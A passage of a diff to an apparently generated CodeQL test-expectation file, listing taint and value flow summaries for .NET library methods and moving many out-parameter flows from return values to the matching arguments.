System.Collections.Immutable;ImmutableStack;Push;(T);Argument[this];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail];value;dfc-generated | @@ -6036,8 +5986,7 @@ | System.Collections.ObjectModel;KeyedCollection;InsertItem;(System.Int32,TItem);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;KeyedCollection;(System.Collections.Generic.IEqualityComparer,System.Int32);Argument[0];Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer];value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;SetItem;(System.Int32,TItem);Argument[1];Argument[this];taint;df-generated | -| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element;ReturnValue;value;dfc-generated | +| System.Collections.ObjectModel;KeyedCollection;TryGetValue;(TKey,TItem);Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element;Argument[1];value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;get_Comparer;();Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer];ReturnValue;value;dfc-generated | | System.Collections.ObjectModel;KeyedCollection;get_Dictionary;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.ObjectModel;KeyedCollection;get_Item;(TKey);Argument[this].Element;ReturnValue;value;manual | @@ -6053,7 +6002,6 @@ | System.Collections.ObjectModel;ReadOnlyDictionary;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.ObjectModel;ReadOnlyDictionary;ReadOnlyDictionary;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.ObjectModel;ReadOnlyDictionary;ReadOnlyDictionary;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Collections.ObjectModel;ReadOnlyDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Dictionary;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.ObjectModel;ReadOnlyDictionary;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -6167,7 +6115,8 @@ | System.Collections;DictionaryBase;OnGet;(System.Object,System.Object);Argument[1];ReturnValue;value;dfc-generated | | System.Collections;DictionaryBase;get_Dictionary;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections;DictionaryBase;get_SyncRoot;();Argument[this].Property[System.Collections.DictionaryBase.InnerHashtable].Property[System.Collections.Hashtable.SyncRoot];ReturnValue;value;dfc-generated | -| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Collections;DictionaryEntry;Deconstruct;(System.Object,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Collections;DictionaryEntry;DictionaryEntry;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Collections;DictionaryEntry;DictionaryEntry;(System.Object,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Collections;Hashtable;Clone;();Argument[this].Element;ReturnValue.Element;value;manual | @@ -6849,12 +6798,11 @@ | System.Configuration.Internal;IInternalConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;GetStreamNameForConfigSource;(System.String,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;Init;(System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[1].Element;Argument[this];taint;df-generated | -| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[0];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;ReturnValue;value;dfc-generated | +| System.Configuration.Internal;IInternalConfigHost;InitForConfiguration;(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[]);Argument[4].Element;Argument[1];value;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;OpenStreamForRead;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration.Internal;IInternalConfigHost;OpenStreamForRead;(System.String,System.Boolean);Argument[0];ReturnValue;taint;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[2];ReturnValue;value;dfc-generated | -| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object);Argument[1];Argument[2];taint;df-generated | +| System.Configuration.Internal;IInternalConfigHost;OpenStreamForWrite;(System.String,System.String,System.Object,System.Boolean);Argument[1];Argument[2];taint;df-generated | | System.Configuration.Internal;IInternalConfigHost;StartMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;IInternalConfigHost;StopMonitoringStreamForChanges;(System.String,System.Configuration.Internal.StreamChangeCallback);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Configuration.Internal;IInternalConfigRecord;GetLkgSection;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -7311,7 +7259,7 @@ | System.Data.Common;DbConnectionStringBuilder;GetProperties;(System.Collections.Hashtable);Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.Keys].Element;Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Data.Common;DbConnectionStringBuilder;ToString;();Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.ConnectionString];ReturnValue;value;dfc-generated | | System.Data.Common;DbConnectionStringBuilder;ToString;();Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.Keys].Element;ReturnValue;taint;dfc-generated | -| System.Data.Common;DbConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.Common;DbConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.Common;DbConnectionStringBuilder;get_Item;(System.String);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Data.Common;DbConnectionStringBuilder;set_Item;(System.String,System.Object);Argument[0];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Data.Common;DbConnectionStringBuilder;set_Item;(System.String,System.Object);Argument[1];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | @@ -7402,7 +7350,7 @@ | System.Data.Entity.Core.Common.CommandTrees;DbLambda;Create;(System.Data.Entity.Core.Metadata.Edm.TypeUsage,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Data.Entity.Core.Common;DbCommandDefinition;DbCommandDefinition;(System.Data.Common.DbCommand,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Data.Entity.Core.Common;DbProviderServices;RegisterInfoMessageHandler;(System.Data.Common.DbConnection,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.Entity.Core.EntityClient;EntityConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.Entity.Core.Metadata.Edm;CsdlSerializer;add_OnError;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.Entity.Core.Metadata.Edm;CsdlSerializer;remove_OnError;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.Entity.Core.Metadata.Edm;MetadataWorkspace;LoadFromAssembly;(System.Reflection.Assembly,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -7771,7 +7719,7 @@ | System.Data.SqlClient;SqlCommand;remove_StatementCompleted;(System.Data.StatementCompletedEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.SqlClient;SqlConnection;add_InfoMessage;(System.Data.SqlClient.SqlInfoMessageEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.SqlClient;SqlConnection;remove_InfoMessage;(System.Data.SqlClient.SqlInfoMessageEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Data.SqlClient;SqlConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Data.SqlClient;SqlConnectionStringBuilder;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Data.SqlClient;SqlDataAdapter;add_RowUpdated;(System.Data.SqlClient.SqlRowUpdatedEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.SqlClient;SqlDataAdapter;add_RowUpdating;(System.Data.SqlClient.SqlRowUpdatingEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Data.SqlClient;SqlDataAdapter;remove_RowUpdated;(System.Data.SqlClient.SqlRowUpdatedEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -8274,12 +8222,6 @@ | System.Diagnostics.Tracing;EventSource;GetTrait;(System.String);Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_traits].Element;ReturnValue;value;dfc-generated | | System.Diagnostics.Tracing;EventSource;SendCommand;(System.Diagnostics.Tracing.EventSource,System.Diagnostics.Tracing.EventCommand,System.Collections.Generic.IDictionary);Argument[2];Argument[0].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands].Property[System.Diagnostics.Tracing.EventCommandEventArgs.Arguments];value;dfc-generated | | System.Diagnostics.Tracing;EventSource;ToString;();Argument[this];ReturnValue;taint;df-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[2];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[3];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);Argument[4];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,T);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,T);Argument[2];ReturnValue;value;dfc-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Diagnostics.Tracing;EventSource;add_EventCommandExecuted;(System.EventHandler);Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands];Argument[0].Parameter[1];value;dfc-generated | @@ -8370,19 +8312,12 @@ | System.Diagnostics;ActivityTagsCollection;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Diagnostics;ActivityTagsCollection;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Diagnostics;ActivityTagsCollection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Diagnostics.ActivityTagsCollection+Enumerator.Current];value;manual | -| System.Diagnostics;ActivityTagsCollection;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Diagnostics;ActivityTagsCollection;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Diagnostics;ActivityTraceId;ToHexString;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;ActivityTraceId;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;CorrelationManager;get_LogicalOperationStack;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;DataReceivedEventArgs;get_Data;();Argument[this];ReturnValue;taint;df-generated | | System.Diagnostics;DataReceivedEventHandler;BeginInvoke;(System.Object,System.Diagnostics.DataReceivedEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler);Argument[2];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.Diagnostics;DiagnosticListener;DiagnosticListener;(System.String);Argument[0];Argument[this].Property[System.Diagnostics.DiagnosticListener.Name];value;dfc-generated | | System.Diagnostics;DiagnosticListener;Subscribe;(System.IObserver>);Argument[0];ReturnValue;taint;df-generated | | System.Diagnostics;DiagnosticListener;Subscribe;(System.IObserver>);Argument[this];ReturnValue;taint;df-generated | @@ -8693,7 +8628,7 @@ | System.Dynamic;DynamicMetaObjectBinder;Bind;(System.Object[],System.Collections.ObjectModel.ReadOnlyCollection,System.Linq.Expressions.LabelTarget);Argument[2];ReturnValue.Property[System.Linq.Expressions.GotoExpression.Target];value;dfc-generated | | System.Dynamic;ExpandoObject;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Dynamic;ExpandoObject;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Dynamic;ExpandoObject;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Dynamic;ExpandoObject;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Dynamic;GetIndexBinder;FallbackGetIndex;(System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject[],System.Dynamic.DynamicMetaObject);Argument[2];ReturnValue;value;dfc-generated | | System.Dynamic;GetIndexBinder;GetIndexBinder;(System.Dynamic.CallInfo);Argument[0];Argument[this].Property[System.Dynamic.GetIndexBinder.CallInfo];value;dfc-generated | | System.Dynamic;GetMemberBinder;FallbackGetMember;(System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject);Argument[1];ReturnValue;value;dfc-generated | @@ -8715,9 +8650,9 @@ | System.Formats.Asn1;AsnDecoder;TryReadBitString;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Int32,System.Nullable);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System.Formats.Asn1;AsnDecoder;TryReadCharacterStringBytes;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.Int32,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System.Formats.Asn1;AsnDecoder;TryReadOctetString;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Nullable);Argument[0].Element;Argument[1].Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveBitString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveCharacterStringBytes;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveOctetString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;ReturnValue.Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveBitString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;Argument[3].Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveCharacterStringBytes;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32);Argument[0].Element;Argument[3].Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveOctetString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;Argument[2].Element;value;dfc-generated | | System.Formats.Asn1;AsnReader;AsnReader;(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions);Argument[0];Argument[this];taint;df-generated | | System.Formats.Asn1;AsnReader;AsnReader;(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions);Argument[2];Argument[this];taint;df-generated | | System.Formats.Asn1;AsnReader;ReadBitString;(System.Int32,System.Nullable);Argument[this];ReturnValue;taint;df-generated | @@ -8870,8 +8805,6 @@ | System.IO.Enumeration;FileSystemEnumerable;FileSystemEnumerable;(System.String,System.IO.Enumeration.FileSystemEnumerable+FindTransform,System.IO.EnumerationOptions);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.IO.Enumeration;FileSystemEnumerable;set_ShouldIncludePredicate;(System.IO.Enumeration.FileSystemEnumerable+FindPredicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.IO.Enumeration;FileSystemEnumerable;set_ShouldRecursePredicate;(System.IO.Enumeration.FileSystemEnumerable+FindPredicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.IO.Enumeration;FileSystemEnumerator;ShouldIncludeEntry;(System.IO.Enumeration.FileSystemEntry);Argument[0];ReturnValue;value;dfc-generated | -| System.IO.Enumeration;FileSystemEnumerator;ShouldRecurseIntoEntry;(System.IO.Enumeration.FileSystemEntry);Argument[0];ReturnValue;value;dfc-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this].Property[System.IO.Enumeration.FileSystemEnumerator`1.Current];ReturnValue;value;df-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this].Property[System.IO.Enumeration.FileSystemEnumerator`1.Current];ReturnValue;value;dfc-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -9083,7 +9016,7 @@ | System.IO;MemoryStream;MemoryStream;(System.Byte[],System.Int32,System.Int32,System.Boolean);Argument[0].Element;Argument[this];taint;manual | | System.IO;MemoryStream;MemoryStream;(System.Byte[],System.Int32,System.Int32,System.Boolean,System.Boolean);Argument[0].Element;Argument[this];taint;manual | | System.IO;MemoryStream;ToArray;();Argument[this];ReturnValue;taint;manual | -| System.IO;MemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];ReturnValue;taint;df-generated | +| System.IO;MemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];Argument[0].Element;taint;df-generated | | System.IO;MemoryStream;WriteAsync;(System.ReadOnlyMemory,System.Threading.CancellationToken);Argument[0].Property[System.ReadOnlyMemory`1.Span].Element;Argument[this];taint;df-generated | | System.IO;MemoryStream;WriteAsync;(System.ReadOnlyMemory,System.Threading.CancellationToken);Argument[0].Property[System.ReadOnlyMemory`1.Span].Element;Argument[this];taint;dfc-generated | | System.IO;MemoryStream;WriteTo;(System.IO.Stream);Argument[this];Argument[0];taint;df-generated | @@ -9293,7 +9226,6 @@ | System.IO;UnmanagedMemoryAccessor;Initialize;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryAccessor;UnmanagedMemoryAccessor;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryAccessor;UnmanagedMemoryAccessor;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | -| System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,T);Argument[1];ReturnValue;value;dfc-generated | | System.IO;UnmanagedMemoryStream;Initialize;(System.Byte*,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryStream;Initialize;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryStream;UnmanagedMemoryStream;(System.Byte*,System.Int64);Argument[0];Argument[this];taint;df-generated | @@ -11183,8 +11115,8 @@ | System.Net.Http.Headers;HttpHeaders;get_NonValidated;();Argument[this];ReturnValue;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | -| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValue;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];ReturnValue;taint;df-generated | -| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValues;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValue;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];Argument[1].Element;taint;df-generated | +| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValues;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];Argument[1].Element;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Item;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;dfc-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;dfc-generated | @@ -11205,8 +11137,8 @@ | System.Net.Http.Headers;MediaTypeHeaderValue;MediaTypeHeaderValue;(System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];value;dfc-generated | | System.Net.Http.Headers;MediaTypeHeaderValue;MediaTypeHeaderValue;(System.String,System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];value;dfc-generated | | System.Net.Http.Headers;MediaTypeHeaderValue;ToString;();Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];ReturnValue;value;dfc-generated | -| System.Net.Http.Headers;MediaTypeHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0];ReturnValue.SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];taint;dfc-generated | -| System.Net.Http.Headers;MediaTypeWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;MediaTypeHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0];Argument[1].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];taint;dfc-generated | +| System.Net.Http.Headers;MediaTypeWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue);Argument[0];Argument[1];taint;df-generated | | System.Net.Http.Headers;NameValueHeaderValue;NameValueHeaderValue;(System.Net.Http.Headers.NameValueHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name];Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name];value;dfc-generated | | System.Net.Http.Headers;NameValueHeaderValue;NameValueHeaderValue;(System.Net.Http.Headers.NameValueHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value];Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value];value;dfc-generated | | System.Net.Http.Headers;NameValueHeaderValue;NameValueHeaderValue;(System.String,System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name];value;dfc-generated | @@ -11250,9 +11182,9 @@ | System.Net.Http.Headers;TransferCodingHeaderValue;ToString;();Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];ReturnValue;taint;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;TransferCodingHeaderValue;(System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];value;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;TransferCodingHeaderValue;(System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];value;dfc-generated | -| System.Net.Http.Headers;TransferCodingHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0];ReturnValue.SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];taint;dfc-generated | +| System.Net.Http.Headers;TransferCodingHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0];Argument[1].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];taint;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;get_Value;();Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];ReturnValue;value;dfc-generated | -| System.Net.Http.Headers;TransferCodingWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;TransferCodingWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue);Argument[0];Argument[1];taint;df-generated | | System.Net.Http.Headers;ViaHeaderValue;ViaHeaderValue;(System.String,System.String,System.String,System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._protocolVersion];value;dfc-generated | | System.Net.Http.Headers;ViaHeaderValue;ViaHeaderValue;(System.String,System.String,System.String,System.String);Argument[1];Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._receivedBy];value;dfc-generated | | System.Net.Http.Headers;ViaHeaderValue;ViaHeaderValue;(System.String,System.String,System.String,System.String);Argument[2];Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._protocolName];value;dfc-generated | @@ -11331,8 +11263,7 @@ | 